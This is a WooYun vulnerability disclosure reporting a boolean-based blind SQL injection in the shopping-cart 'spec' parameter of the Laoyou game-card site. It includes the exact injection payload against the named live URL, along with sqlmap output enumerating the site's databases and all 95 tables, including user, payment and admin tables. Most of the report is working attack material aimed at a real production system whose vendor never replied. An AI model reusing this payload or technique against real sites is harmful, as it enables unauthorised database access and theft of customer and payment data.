当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152249

漏洞标题：老友点卡网站主站存在SQL盲注

相关厂商：广州老友网络科技有限公司

漏洞作者： mango

提交时间：2015-11-06 10:42

修复时间：2015-12-21 10:44

公开时间：2015-12-21 10:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-06： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-12-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

~~~~~

详细说明：

http://www.laoyouka.com:80/flow.php?step=add_to_cart 
goods={goods_id:359,number:2,parent:0,quick:1,spec:[*],yijian:1}


post提交 spec:[*] 问题~

B0YOVEND[%R)LED]1D{6)9S.png

漏洞证明：

sqlmap identified the following injection points with a total of 42 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload:  goods={"goods_id":359,"number":2,"parent":0,"quick":1,"spec":["(SELECT (CASE WHEN (1874=1874) THEN 1874 ELSE 1874*(SELECT 1874 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"],"yijian":1}
---
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload:  goods={"goods_id":359,"number":2,"parent":0,"quick":1,"spec":["(SELECT (CASE WHEN (1874=1874) THEN 1874 ELSE 1874*(SELECT 1874 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"],"yijian":1}
---
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] laoyouka_lao
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload:  goods={"goods_id":359,"number":2,"parent":0,"quick":1,"spec":["(SELECT (CASE WHEN (1874=1874) THEN 1874 ELSE 1874*(SELECT 1874 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"],"yijian":1}
---
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: laoyouka_lao
[95 tables]
+-----------------------------------+
| oldfriendcard_account_log         |
| oldfriendcard_ad                  |
| oldfriendcard_ad_custom           |
| oldfriendcard_ad_position         |
| oldfriendcard_admin_action        |
| oldfriendcard_admin_jianyi        |
| oldfriendcard_admin_log           |
| oldfriendcard_admin_message       |
| oldfriendcard_admin_user          |
| oldfriendcard_adsense             |
| oldfriendcard_affiliate_log       |
| oldfriendcard_agency              |
| oldfriendcard_area_region         |
| oldfriendcard_article             |
| oldfriendcard_article_cat         |
| oldfriendcard_attribute           |
| oldfriendcard_auction_log         |
| oldfriendcard_auto_manage         |
| oldfriendcard_back_goods          |
| oldfriendcard_back_order          |
| oldfriendcard_black_list          |
| oldfriendcard_bonus_type          |
| oldfriendcard_booking_goods       |
| oldfriendcard_brand               |
| oldfriendcard_card                |
| oldfriendcard_cart                |
| oldfriendcard_cat_recommend       |
| oldfriendcard_category            |
| oldfriendcard_collect_goods       |
| oldfriendcard_comment             |
| oldfriendcard_crons               |
| oldfriendcard_delivery_goods      |
| oldfriendcard_delivery_order      |
| oldfriendcard_email_list          |
| oldfriendcard_email_sendlist      |
| oldfriendcard_error_log           |
| oldfriendcard_exchange_goods      |
| oldfriendcard_favourable_activity |
| oldfriendcard_feedback            |
| oldfriendcard_friend_link         |
| oldfriendcard_goods               |
| oldfriendcard_goods_activity      |
| oldfriendcard_goods_article       |
| oldfriendcard_goods_attr          |
| oldfriendcard_goods_cat           |
| oldfriendcard_goods_gallery       |
| oldfriendcard_goods_type          |
| oldfriendcard_group_goods         |
| oldfriendcard_kcard               |
| oldfriendcard_keywords            |
| oldfriendcard_link_goods          |
| oldfriendcard_mail_templates      |
| oldfriendcard_member_price        |
| oldfriendcard_nav                 |
| oldfriendcard_newmember           |
| oldfriendcard_order_action        |
| oldfriendcard_order_goods         |
| oldfriendcard_order_info          |
| oldfriendcard_order_ip            |
| oldfriendcard_pack                |
| oldfriendcard_package_goods       |
| oldfriendcard_pay_log             |
| oldfriendcard_payment             |
| oldfriendcard_plugins             |
| oldfriendcard_reg_extend_info     |
| oldfriendcard_reg_fields          |
| oldfriendcard_region              |
| oldfriendcard_role                |
| oldfriendcard_searchengine        |
| oldfriendcard_sessions            |
| oldfriendcard_sessions_data       |
| oldfriendcard_shipping            |
| oldfriendcard_shipping_area       |
| oldfriendcard_shop_config         |
| oldfriendcard_snatch_log          |
| oldfriendcard_stats               |
| oldfriendcard_suppliers           |
| oldfriendcard_tag                 |
| oldfriendcard_template            |
| oldfriendcard_topic               |
| oldfriendcard_user_account        |
| oldfriendcard_user_address        |
| oldfriendcard_user_bonus          |
| oldfriendcard_user_feed           |
| oldfriendcard_user_login          |
| oldfriendcard_user_new            |
| oldfriendcard_user_rank           |
| oldfriendcard_users               |
| oldfriendcard_virtual_card        |
| oldfriendcard_volume_price        |
| oldfriendcard_vote                |
| oldfriendcard_vote_log            |
| oldfriendcard_vote_option         |
| oldfriendcard_wholesale           |
| oldfriendcard_wubao               |
+-----------------------------------+

修复方案：

版权声明：转载请注明来源 mango@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝